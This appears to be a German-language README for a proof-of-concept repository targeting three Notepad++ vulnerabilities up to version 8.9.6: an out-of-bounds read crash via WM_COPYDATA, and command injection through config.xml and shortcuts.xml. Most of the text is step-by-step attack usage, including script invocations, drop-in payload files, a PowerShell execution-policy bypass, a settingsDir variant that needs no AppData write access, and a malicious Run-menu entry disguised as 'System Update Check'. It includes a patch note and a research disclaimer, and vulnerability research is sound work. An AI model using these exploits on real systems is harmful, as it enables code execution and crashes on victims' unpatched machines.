Notepad++ PoCs

CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800

Proof-of-Concept-Skripte für drei Schwachstellen in Notepad++ <= 8.9.6, behoben in v8.9.6.1 (26.05.2026).

CVE-2026-48778-Demo – Datei → Enthaltenden Ordner öffnen → cmd löst RCE aus

Schwachstellen

CVE	Typ	CVSS	Auswirkung
CVE-2026-48770	OOB-Read über `WM_COPYDATA`	5.0	DoS / Absturz
CVE-2026-48778	OS-Befehlsinjektion über `config.xml`	7.8	RCE
CVE-2026-48800	OS-Befehlsinjektion über `shortcuts.xml`	7.8	RCE

Voraussetzungen

Windows 10/11 (VM empfohlen)
Notepad++ <= 8.9.6 installiert und nicht aktualisiert
Python 3.x (für .py-Skripte)
PowerShell (integriert, für .ps1)

Dateistruktur

.
├── README.md
├── poc_CVE-2026-48770.py                    # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py                    # RCE via config.xml
├── poc_CVE-2026-48800.py                    # RCE via shortcuts.xml
└── payloads/
    ├── config.xml                           # Drop-in payload (CVE-2026-48778)
    ├── shortcuts.xml                        # Drop-in payload (CVE-2026-48800)
    └── poc_CVE-2026-48770.ps1               # OOB read crash (PowerShell)

CVE-2026-48770 - OOB-Read über WM_COPYDATA

Ein lokaler Prozess in derselben Windows-Sitzung sendet eine manipulierte WM_COPYDATA-Nachricht (dwData=3) ohne NUL-Terminator. Der Handler liest über die Puffergrenze hinaus, was eine Zugriffsverletzung (0xc0000005) auslöst, die Notepad++ zum Absturz bringt.

Auslöser: Notepad++ muss geöffnet sein.

PowerShell:

# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1

Python:

python poc_CVE-2026-48770.py

Erwartete Ausgabe:

[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)

Das Notepad++-Fenster verschwindet. WER (Windows-Fehlerberichterstattung) wird möglicherweise ausgelöst.

CVE-2026-48778 - RCE über config.xml

%APPDATA%\Notepad++\config.xml wird beim Start gelesen. Der Wert von <GUIConfig name="commandLineInterpreter"> wird ohne Validierung direkt an ShellExecute() übergeben. Wird er durch eine beliebige ausführbare Datei ersetzt, führt dies zu RCE, sobald der Benutzer auf Datei → Enthaltenden Ordner öffnen → cmd klickt.

Methode A - Python-Skript (empfohlen)

# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe

# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe

# Restore
python poc_CVE-2026-48778.py --mode direct --restore

Methode B - XML-Datei einspielen

copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd

Methode C - settingsDir (ohne AppData-Schreibzugriff)

python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd

CVE-2026-48800 - RCE über shortcuts.xml

%APPDATA%\Notepad++\shortcuts.xml wird beim Start gelesen. <Command>-Einträge unter <UserDefinedCommands> werden zum Menü Ausführen hinzugefügt und ohne Validierung direkt an ShellExecute() übergeben. Ein vom Angreifer kontrollierter Eintrag wird bei einem Klick ausgeführt.

Methode A - Python-Skript (empfohlen)

# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"

# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches

# Restore
python poc_CVE-2026-48800.py --mode direct --restore

Methode B - XML-Datei einspielen

copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"

Methode C - settingsDir (ohne AppData-Schreibzugriff)

python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"

Gegenmaßnahmen

Aktualisieren Sie Notepad++ auf v8.9.6.1 oder neuer.
Download: https://notepad-plus-plus.org/downloads/

Advisory-Referenzen

CVE	Advisory
CVE-2026-48770	GHSA-r39g-3mcw-xcg2
CVE-2026-48778	GHSA-7hm3-wp5q-ccv9
CVE-2026-48800	GHSA-3x3f-3j39-pj3v

Nur für Forschungs- und autorisierte Testzwecke.

Notepad-8.9.6-PoC

Beliebteste